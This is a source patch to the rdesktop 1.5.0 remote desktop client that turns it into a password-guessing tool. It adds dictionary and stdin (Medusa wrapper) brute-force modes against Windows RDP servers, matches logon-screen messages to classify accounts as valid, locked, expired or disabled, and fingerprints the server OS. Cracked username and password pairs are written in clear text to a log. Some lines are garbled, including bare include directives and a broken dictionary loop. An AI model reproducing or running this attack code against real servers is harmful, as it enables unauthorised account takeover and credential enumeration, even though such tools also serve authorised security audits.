Only in rdesktop-1.5.0: Makefile diff -urp rdesktop-1.5.0.orig/Makefile.in rdesktop-1.5.0/Makefile.in --- rdesktop-1.5.0.orig/Makefile.in 2006-04-10 02:27:50.000000000 +0800 +++ rdesktop-1.5.0/Makefile.in 2007-08-22 16:51:07.000000000 +0800 @@ -57,7 +57,7 @@ install: installbin installkeymaps insta installbin: rdesktop mkdir -p $(DESTDIR)$(bindir) $(INSTALL) rdesktop $(DESTDIR)$(bindir) - $(STRIP) $(DESTDIR)$(bindir)/rdesktop + chmod 755 $(DESTDIR)$(bindir)/rdesktop .PHONY: installman Only in rdesktop-1.5.0: config.log Only in rdesktop-1.5.0: config.status diff -urp rdesktop-1.5.0.orig/configure rdesktop-1.5.0/configure --- rdesktop-1.5.0.orig/configure 2006-09-13 20:10:40.000000000 +0800 +++ rdesktop-1.5.0/configure 2007-08-22 16:51:07.000000000 +0800 @@ -1986,13 +1986,13 @@ if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then - CFLAGS="-g -O2" +cflags="$cflags ${CFLAGS}" else CFLAGS="-g" fi else if test "$GCC" = yes; then - CFLAGS="-O2" +cflags="$cflags ${CFLAGS}" else CFLAGS= fi diff -urp rdesktop-1.5.0.orig/orders.c rdesktop-1.5.0/orders.c --- rdesktop-1.5.0.orig/orders.c 2006-08-07 19:45:43.000000000 +0800 +++ rdesktop-1.5.0/orders.c 2007-08-22 13:03:36.000000000 +0800 @@ -21,10 +21,21 @@ #include "rdesktop.h" #include "orders.h" + extern uint8 *g_next_packet; static RDP_ORDER_STATE g_order_state; extern BOOL g_use_rdp5; +/* brute-force mode */ +#include +#include "scancodes.h" +extern BOOL g_brute_complete; +extern int g_brute_logon_status; +extern int g_brute_mode; +extern int g_server_version; +extern int g_brute_w2k_send_logon; +extern int g_w2k_auth_count; + /* Read field indicating which parameters are present */ static void rdp_in_present(STREAM s, uint32 * present, uint8 flags, int size) @@ -863,6 +874,99 @@ process_text2(STREAM s, TEXT2_ORDER * os DEBUG(("\n")); + /* Check text for failed logon message. This is a complete guess/hack... */ + if (g_brute_mode != BRUTE_NONE) + { + if (!memcmp(os->text, LOGON_AUTH_FAILED, 3)) + { + fprintf(stderr, "Retrieved connection termination packet.\n"); + g_brute_complete = True; + } + + if (g_server_version == VERSION_SRV_2K) + { + if (!memcmp(os->text, LOGON_W2K_BANNER, 23)) + { + fprintf(stderr, "Retrieved Windows 2000 logon window.\n"); + g_brute_w2k_send_logon = LOGIN_WIN_READY; + } + + /* if we see this message twice and we haven't seen "FE 00 00", we must have succeeded, right??? */ + if (!memcmp(os->text, LOGON_W2K_MESSAGE, 4)) + { + g_w2k_auth_count++; + + if ((!g_brute_complete) && (g_w2k_auth_count > 1)) + { + fprintf(stderr, "Windows 2000 successful authentication.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + g_brute_complete = True; + } + } + else if (g_brute_complete) + { + fprintf(stderr, "Windows 2000 authentication failed.\n"); + if (g_brute_logon_status == LOGIN_RESULT_UNKNOWN) + g_brute_logon_status = LOGIN_RESULT_FAIL; + } + } + + if ((!memcmp(os->text, LOGON_MESSAGE_FAILED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_FAILED_2K3, 18))) + { + fprintf(stderr, "Account credentials are NOT valid.\n"); + g_brute_logon_status = LOGIN_RESULT_FAIL; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_2K3, 18))) + { + fprintf(stderr, "Account credentials are valid, however, the account is denied interactive logon.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_LOCKED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_LOCKED_2K3, 18))) + { + fprintf(stderr, "Account is currently locked out.\n"); + g_brute_logon_status = LOGIN_RESULT_ERROR; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_DISABLED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_DISABLED_2K3, 18))) + { + fprintf(stderr, "Account is currently disabled or expired. XP appears to report that an account is disabled only for valid credentials.\n"); + g_brute_logon_status = LOGIN_RESULT_ERROR; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_EXPIRED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_2K3, 18)) || + (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_W2K, 18))) + { + fprintf(stderr, "Account credentials are valid, however, the password has expired and must be changed.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_2K3, 18))) + { + fprintf(stderr, "Account credentials are valid, however, the password must be changed at first logon.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if (!memcmp(os->text, LOGON_MESSAGE_MSTS_MAX_2K3, 18)) + { + fprintf(stderr, "Account credentials are valid, however, the maximum number of terminal services connections has been reached.\n"); + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC ); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if (!memcmp(os->text, LOGON_MESSAGE_CURRENT_USER_XP, 18)) + { + fprintf(stderr, "Valid credentials, however, another user is currently logged on.\n"); + /* Unable to ESC message about booting current user, so say NO. */ + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_N ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_N ); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + g_brute_complete = True; + } + else + { + DEBUG(("Logon failed with unknown text message: ")); + for (i = 0; i < os->length; i++) + DEBUG(("%02x ", os->text[i])); + DEBUG(("\n")); + } + } + ui_draw_text(os->font, os->flags, os->opcode - 1, os->mixmode, os->x, os->y, os->clipleft, os->cliptop, os->clipright - os->clipleft, os->clipbottom - os->cliptop, os->boxleft, os->boxtop, diff -urp rdesktop-1.5.0.orig/orders.h rdesktop-1.5.0/orders.h --- rdesktop-1.5.0.orig/orders.h 2006-08-07 19:45:43.000000000 +0800 +++ rdesktop-1.5.0/orders.h 2007-08-22 13:03:36.000000000 +0800 @@ -18,6 +18,52 @@ Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ +/* brute-force code */ + +/* The following is a complete guess... */ + +/* This appears to indicate that our attempt has failed in some way */ +#define LOGON_AUTH_FAILED "\xfe\x00\x00" + +/* Windows 2000 logon banner */ +#define LOGON_W2K_BANNER "\x1d\x00\x0c\x07\x1e\x07\x1f\x08\x20\x08\x21\x07\x1f\x06\x22\x08\x1f\x07\x1e\x08\x23\x08\x24" + +/* Using this string to track if we've successfully logged on */ +#define LOGON_W2K_MESSAGE "\x1f\x00\x26\x08" + +/* The system could not log you on. Make sure your User name and domain are correct [FAILED] */ +#define LOGON_MESSAGE_FAILED_XP "\x17\x00\x18\x06\x10\x06\x1a\x09\x1b\x05\x1a\x06\x1c\x05\x10\x04\x1d\x06" +#define LOGON_MESSAGE_FAILED_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x05\x15\x06\x17\x05\x13\x04\x18\x06" + +/* The local policy of this system does not permit you to logon interactively. [SUCCESS] */ +#define LOGON_MESSAGE_NO_INTERACTIVE_XP "\x17\x00\x18\x06\x10\x06\x11\x09\x1a\x02\x0f\x06\x0d\x05\x11\x06\x1b\x05" +#define LOGON_MESSAGE_NO_INTERACTIVE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x02\x17\x06\x18\x05\x15\x06\x19\x05" + +/* Unable to log you on because your account has been locked out */ +#define LOGON_MESSAGE_LOCKED_XP "\x17\x00\x0e\x07\x0d\x06\x18\x06\x11\x06\x10\x02\x1a\x09\x1b\x04\x11\x09" +#define LOGON_MESSAGE_LOCKED_2K3 "\x11\x00\x12\x07\x13\x06\x14\x06\x15\x06\x16\x02\x18\x09\x19\x04\x15\x09" + +/* Your account has been disabled. Please see your system administrator. [ERROR] */ +/* Your account has expired. Please see your system administrator. [ERROR] */ +#define LOGON_MESSAGE_DISABLED_XP "\x17\x00\x18\x06\x19\x06\x1a\x06\x0d\x07\x0f\x06\x0f\x05\x18\x05\x19\x06" +#define LOGON_MESSAGE_DISABLED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x17\x05\x12\x05\x13\x06" + +/* Your password has expired and must be changed. [SUCCESS] */ +#define LOGON_MESSAGE_EXPIRED_XP "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06" +#define LOGON_MESSAGE_EXPIRED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x18\x06\x18\x05\x19\x05" +#define LOGON_MESSAGE_EXPIRED_W2K "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x2d\x0a\x2e\x0a\x0b\x07\x0b\x06" + +/* You are required to change your password at first logon. [SUCCESS] */ +#define LOGON_MESSAGE_MUST_CHANGE_XP "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06" +#define LOGON_MESSAGE_MUST_CHANGE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x06\x17\x04\x16\x09\x17\x04\x18\x06" + +/* The terminal server has exceeded the maximum number of allowed connections. [SUCCESS] */ +#define LOGON_MESSAGE_MSTS_MAX_2K3 "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x24\x0a\x25\x0a\x0b\x07\x0b\x06\x26" + +/* The user MACHINE_NAME\USER is currently logged on to this computer. [SUCCESS] */ +#define LOGON_MESSAGE_CURRENT_USER_XP "\x12\x00\x13\x07\x10\x05\x14\x06\x0e\x07\x0d\x06\x16\x06\x10\x08\x17\x06" +/* end brute-force code */ + #define RDP_ORDER_STANDARD 0x01 #define RDP_ORDER_SECONDARY 0x02 #define RDP_ORDER_BOUNDS 0x04 diff -urp rdesktop-1.5.0.orig/rdesktop.c rdesktop-1.5.0/rdesktop.c --- rdesktop-1.5.0.orig/rdesktop.c 2006-08-07 19:45:43.000000000 +0800 +++ rdesktop-1.5.0/rdesktop.c 2007-08-22 16:51:07.000000000 +0800 @@ -16,6 +16,16 @@ You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + 2005-07-07 - Added dictionary support for automated login testing + patrik@cqure.net + + 2005-12-22 - Modified stdin password method to support Medusa wrapper + module (www.foofus.net/jmk/medusa/medusa.html). Also heavily + modified brute-force guessing to match various error messages + and kinda work against Windows 2000. + JoMo-Kun */ #include /* va_list va_start va_end */ @@ -47,6 +57,13 @@ #include +int g_brute_mode = BRUTE_NONE; +int g_brute_logon_status = LOGIN_RESULT_UNKNOWN; +int g_server_version = VERSION_SRV_UNKNOWN; +int g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; +int g_w2k_auth_count = 0; +char *g_password = NULL; + char g_title[64] = ""; char g_username[64]; char g_hostname[16]; @@ -103,6 +120,8 @@ char g_redirect_username[64]; char g_redirect_cookie[128]; uint32 g_redirect_flags = 0; +FILE *g_logger = NULL; + #ifdef WITH_RDPSND BOOL g_rdpsnd = False; #endif @@ -114,6 +133,7 @@ char g_codepage[16] = ""; extern RDPDR_DEVICE g_rdpdr_device[]; extern uint32 g_num_devices; extern char *g_rdpdr_clientname; +extern BOOL g_loggedon; #ifdef RDP2VNC extern int rfb_port; @@ -128,6 +148,8 @@ usage(char *program) { fprintf(stderr, "rdesktop: A Remote Desktop Protocol client.\n"); fprintf(stderr, "Version " VERSION ". Copyright (C) 1999-2005 Matt Chapman.\n"); + fprintf(stderr, "Password guess patch by patrik@cqure.net\n"); + fprintf(stderr, "Modified by jmk@foofus.net for use with the brute-forcer Medusa.\n"); fprintf(stderr, "See http://www.rdesktop.org/ for more information.\n\n"); fprintf(stderr, "Usage: %s [options] server[:port]\n", program); @@ -139,7 +161,7 @@ usage(char *program) fprintf(stderr, " -d: domain\n"); fprintf(stderr, " -s: shell\n"); fprintf(stderr, " -c: working directory\n"); - fprintf(stderr, " -p: password (- to prompt)\n"); + fprintf(stderr, " -p: password (- to prompt,filename for dictionary)\n"); fprintf(stderr, " -n: client hostname\n"); fprintf(stderr, " -k: keyboard layout on server (en-us, de, sv, etc.)\n"); fprintf(stderr, " -g: desktop geometry (WxH)\n"); @@ -191,6 +213,7 @@ usage(char *program) fprintf(stderr, " -0: attach to console\n"); fprintf(stderr, " -4: use RDP version 4\n"); fprintf(stderr, " -5: use RDP version 5 (default)\n"); + fprintf(stderr, " -l: logfile\n"); } static void @@ -383,6 +406,41 @@ parse_server_and_port(char *server) } +void +chomp( char *p ) +{ + while( *p ) + { + if (( '\r' == *p ) || ( '\n' == *p ) ) + *p = 0; + + *p++; + } +} + +int +logprintf( const char *format, ... ) +{ + + va_list args; + int i; + + va_start( args, format ); + + if ( g_logger ) { + i = vfprintf( g_logger, format, args ); + vprintf( format, args ); + } + else { + i = vprintf( format, args ); + } + + va_end( args ); + + return i; +} + + /* Client program */ int main(int argc, char *argv[]) @@ -393,11 +451,12 @@ main(int argc, char *argv[]) char password[64]; char shell[256]; char directory[256]; + FILE *dicfile = NULL; BOOL prompt_password, deactivated; struct passwd *pw; uint32 flags, ext_disc_reason = 0; char *p; - int c; + int c, i; char *locale = NULL; int username_option = 0; BOOL geometry_option = False; @@ -427,7 +486,7 @@ main(int argc, char *argv[]) #endif while ((c = getopt(argc, argv, - VNCOPT "Au:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?")) != -1) + VNCOPT "Au:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?l:")) != -1) { switch (c) { @@ -478,6 +537,13 @@ main(int argc, char *argv[]) if ((optarg[0] == '-') && (optarg[1] == 0)) { prompt_password = True; + g_brute_mode = BRUTE_STDIN; + flags |= RDP_LOGON_AUTO; + break; + } + else if ( (dicfile = fopen( optarg, "r" ) ) ) { + g_brute_mode = BRUTE_FILE; + flags |= RDP_LOGON_AUTO; break; } @@ -746,6 +812,13 @@ main(int argc, char *argv[]) case '5': g_use_rdp5 = True; break; + case 'l': + if ( NULL == ( g_logger = fopen( optarg, "w" ) ) ) + { + fprintf(stderr, "Failed to open logfile (%s)\n", optarg); + return 1; + } + break; case 'h': case '?': @@ -857,9 +930,6 @@ main(int argc, char *argv[]) xfree(locale); - if (prompt_password && read_password(password, sizeof(password))) - flags |= RDP_LOGON_AUTO; - if (g_title[0] == 0) { strcpy(g_title, "rdesktop - "); @@ -886,6 +956,7 @@ main(int argc, char *argv[]) while (run_count < 2 && continue_connect) /* add support for Session Directory; only reconnect once */ { + if (g_brute_mode == BRUTE_NONE){ if (run_count == 0) { if (!rdp_connect(server, flags, domain, password, shell, directory)) @@ -894,25 +965,165 @@ main(int argc, char *argv[]) else if (!rdp_reconnect (server, flags, domain, password, shell, directory, g_redirect_cookie)) return 1; + } /*IF BRUTE end */ /* By setting encryption to False here, we have an encrypted login packet but unencrypted transfer of other packets */ if (!packet_encryption) g_encryption = False; - + if (g_brute_mode == BRUTE_NONE) + { DEBUG(("Connection successful.\n")); memset(password, 0, sizeof(password)); + } if (run_count == 0) if (!ui_create_window()) continue_connect = False; - if (continue_connect) + if (continue_connect){ + if ((g_brute_mode == BRUTE_FILE) && (dicfile)) { + logprintf("\nStarting dictionary attack against server %s\n", server); + logprintf("------------------------------------------"); + + for ( i=0; i 15) + { + fprintf(stderr, "This shit is broke, I'm bailing...\n"); + return 1; + } + } + + if (g_server_version == VERSION_SRV_2K) + { + fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n"); + g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; + g_w2k_auth_count = 0; + g_password = password; + } + + if (!packet_encryption) + g_encryption = False; + rdp_main_loop(&deactivated, &ext_disc_reason); + rdp_disconnect(); + + switch (g_brute_logon_status) + { + case LOGIN_RESULT_SUCCESS: + logprintf("[success] User \"%s\" Password \"%s\"\n", g_username, password ); + break; + case LOGIN_RESULT_FAIL: + logprintf( "[failure] User \"%s\" Password \"%s\"\n", g_username, password ); + break; + case LOGIN_RESULT_ERROR: + logprintf( "[error] User \"%s\" Password \"%s\"\n", g_username, password ); + return 1; + break; + default: + logprintf( "[error] User \"%s\" Password \"%s\". Connection terminated due to unknown error.\n", g_username, password ); + return 1; + break; + } + } + } + else if (g_brute_mode == BRUTE_STDIN) + { + fprintf(stderr, "Starting brute-force attack via STDIN against %s\n", server); + + while(!g_loggedon) + { + read_password(password, sizeof(password)); + + g_encryption = True; + + int sleep_count = 0; + while (!rdp_connect(server, flags, domain, password, shell, directory)) + { + /* rdesktop seems to flake out after brute-forcing a bit. let's try again... */ + fprintf(stderr, "Server appears to be flaking out. Sleeping (%d) seconds...\n", sleep_count); + sleep(sleep_count); + sleep_count += 5; + + if (sleep_count > 15) + { + fprintf(stderr, "This shit is broke, I'm bailing...\n"); + fprintf(stderr, "LOGIN_RESULT_ERROR:Server stopped responding.\n"); + return 1; + } + } + + if (g_server_version == VERSION_SRV_2K) + { + fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n"); + g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; + g_w2k_auth_count = 0; + g_password = password; + } + + if (!packet_encryption) + g_encryption = False; + + rdp_main_loop(&deactivated, &ext_disc_reason); + rdp_disconnect(); + + switch (g_brute_logon_status) + { + case LOGIN_RESULT_SUCCESS: + fprintf(stderr, "LOGIN_RESULT_SUCCESS\n"); + break; + case LOGIN_RESULT_FAIL: + fprintf(stderr, "LOGIN_RESULT_FAILURE\n"); + break; + case LOGIN_RESULT_ERROR: + fprintf(stderr, "LOGIN_RESULT_ERROR\n"); + return 1; + break; + default: + fprintf(stderr, "LOGIN_RESULT_ERROR:Connection terminated due to unknown error.\n"); + return 1; + break; + } + } + } + else + { + rdp_main_loop(&deactivated, &ext_disc_reason); + } + + + } /* continue connect */ + + + if (g_brute_mode == BRUTE_NONE) { DEBUG(("Disconnecting...\n")); rdp_disconnect(); + } + else + { + if (g_logger) + fclose( g_logger ); + } + if ((g_redirect == True) && (run_count == 0)) /* Support for Session Directory */ { @@ -1366,7 +1577,6 @@ subprocess(char *const argv[], str_handl return True; } - /* not all clibs got ltoa */ #define LTOA_BUFSIZE (sizeof(long) * 8 + 1) diff -urp rdesktop-1.5.0.orig/rdesktop.h rdesktop-1.5.0/rdesktop.h --- rdesktop-1.5.0.orig/rdesktop.h 2006-09-13 20:09:14.000000000 +0800 +++ rdesktop-1.5.0/rdesktop.h 2007-08-22 13:03:36.000000000 +0800 @@ -33,6 +33,20 @@ #define VERSION "1.5.0" +#define BRUTE_NONE 1 +#define BRUTE_STDIN 2 +#define BRUTE_FILE 3 +#define VERSION_SRV_UNKNOWN 0 +#define VERSION_SRV_XP2K3 1 +#define VERSION_SRV_2K 2 +#define LOGIN_RESULT_UNKNOWN 1 +#define LOGIN_RESULT_SUCCESS 2 +#define LOGIN_RESULT_FAIL 3 +#define LOGIN_RESULT_ERROR 4 +#define LOGIN_WIN_UNKNOWN 0 +#define LOGIN_WIN_PROC 1 +#define LOGIN_WIN_READY 2 + #ifdef WITH_DEBUG #define DEBUG(args) printf args; #else diff -urp rdesktop-1.5.0.orig/rdp.c rdesktop-1.5.0/rdp.c --- rdesktop-1.5.0.orig/rdp.c 2006-08-07 19:45:43.000000000 +0800 +++ rdesktop-1.5.0/rdp.c 2007-08-22 13:03:36.000000000 +0800 @@ -16,12 +16,16 @@ You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + 2005-07-07 Addedd support for detecting failed/successful login attempts + */ #include #include #include #include "rdesktop.h" +#include "scancodes.h" #ifdef HAVE_ICONV #ifdef HAVE_ICONV_H @@ -74,6 +78,20 @@ static uint32 g_packetno; static BOOL g_iconv_works = True; #endif +/* brute-force stuff */ +extern int g_brute_mode; +extern int g_server_version; +extern int g_brute_logon_status; +extern char* g_password; +extern BOOL g_brute_w2k_send_logon; +BOOL g_loggedon = False; +BOOL g_brute_complete = False; +#define KEYMAP_MASK 0xffff +#define KEYMAP_SIZE 0xffff+1 +extern key_translation keymap[KEYMAP_SIZE]; +/* end brute-force */ + + /* Receive an RDP packet */ static STREAM rdp_recv(uint8 * type) @@ -1288,6 +1306,7 @@ process_data_pdu(STREAM s, uint32 * ext_ case RDP_DATA_PDU_LOGON: DEBUG(("Received Logon PDU\n")); + g_loggedon = True; /* User logged on */ break; @@ -1375,6 +1394,63 @@ rdp_loop(BOOL * deactivated, uint32 * ex while (cont) { + if (g_brute_mode != BRUTE_NONE) + { + if ( g_loggedon ) + { + DEBUG(("Brute-force complete, successful authentication.\n")); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + disc = True; + } + else if ( g_brute_complete ) + { + /* failed */ + DEBUG(("Brute-force complete, terminating connection.\n")); + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC ); + g_brute_complete = False; + + /* w2k success */ + if (g_server_version == VERSION_SRV_2K) + disc = True; + } + + if ((g_server_version == VERSION_SRV_2K) && (g_brute_w2k_send_logon == LOGIN_WIN_READY)) + { + g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; + + DEBUG(("Sending password: %s\n", g_password)); + int i; + char keysym; + uint8 scancode; + + /* TAB to username field to view text */ + //for(i = 0; i < 5; i++) + //{ + // rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_TAB ); + // rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_TAB ); + //} + + for(i = 0; i < strlen(g_password); i++) + { + keysym = g_password[i]; + scancode = keymap[keysym & KEYMAP_MASK].scancode; + DEBUG(("Sending CHAR: %c KEYSYM: 0x%x SCANCODE: 0x%x\n", keysym, (unsigned int) keysym, scancode)); + + if (keymap[keysym & KEYMAP_MASK].modifiers == 0x0) + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT); + else + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_LSHIFT); + + rdp_send_scancode( time(NULL), RDP_KEYPRESS, scancode ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, scancode ); + } + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT); + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ENTER ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ENTER ); + } + } + s = rdp_recv(&type); if (s == NULL) return False; @@ -1396,6 +1472,15 @@ rdp_loop(BOOL * deactivated, uint32 * ex break; case 0: break; + case 15: + /* Intermittent with W2K brute-forcing issue */ + if (g_server_version == VERSION_SRV_2K) + { + DEBUG(("Brute-force connection to Windows 2000 is fubar'd.\n")); + g_brute_logon_status = LOGIN_RESULT_ERROR; + disc = True; + } + break; default: unimpl("PDU %d\n", type); } Only in rdesktop-1.5.0: rdp.c.orig diff -urp rdesktop-1.5.0.orig/secure.c rdesktop-1.5.0/secure.c --- rdesktop-1.5.0.orig/secure.c 2006-08-07 19:45:43.000000000 +0800 +++ rdesktop-1.5.0/secure.c 2007-08-22 13:03:36.000000000 +0800 @@ -42,6 +42,8 @@ extern uint16 mcs_userid; extern VCHANNEL g_channels[]; extern unsigned int g_num_channels; +extern int g_server_version; + static int rc4_key_len; static RC4_KEY rc4_decrypt_key; static RC4_KEY rc4_encrypt_key; @@ -786,6 +788,33 @@ sec_process_srv_info(STREAM s) g_use_rdp5 = 0; g_server_depth = 8; } + + /* + Attempting to determine server OS version. It appears that the 21st + byte in the response is 0x02 for XP/2K3 and 0x01 for W2K. Don't know + what this byte actually represents, so this is a complete hack... + + -0010 02 0c ec 00 01 00 00 00 02 00 00 00 20 00 00 00 ............ ... + +0010 02 0c ec 00 02 00 00 00 02 00 00 00 20 00 00 00 ............ ... + */ + + //int datalen = s->end - s->p; + //hexdump(s->p, datalen); + switch ( *(s->p + 18) ) + { + case 0x01: + DEBUG_RDP5(("Server version appears to be Windows 2000.\n")); + g_server_version = VERSION_SRV_2K; + break; + case 0x02: + DEBUG_RDP5(("Server version appears to be Windows XP/2003.\n")); + g_server_version = VERSION_SRV_XP2K3; + break; + default: + DEBUG_RDP5(("Server version unknown. Interesting data: %d.\n", *(s->p + 18))); + g_server_version = VERSION_SRV_UNKNOWN; + break; + } } diff -urp rdesktop-1.5.0.orig/xkeymap.c rdesktop-1.5.0/xkeymap.c --- rdesktop-1.5.0.orig/xkeymap.c 2006-08-07 19:45:44.000000000 +0800 +++ rdesktop-1.5.0/xkeymap.c 2007-08-22 16:48:57.000000000 +0800 @@ -51,7 +51,8 @@ extern BOOL g_use_rdp5; extern BOOL g_numlock_sync; static BOOL keymap_loaded; -static key_translation *keymap[KEYMAP_SIZE]; +//static key_translation *keymap[KEYMAP_SIZE]; +key_translation *keymap[KEYMAP_SIZE]; static int min_keycode; static uint16 remote_modifier_state = 0; static uint16 saved_remote_modifier_state = 0;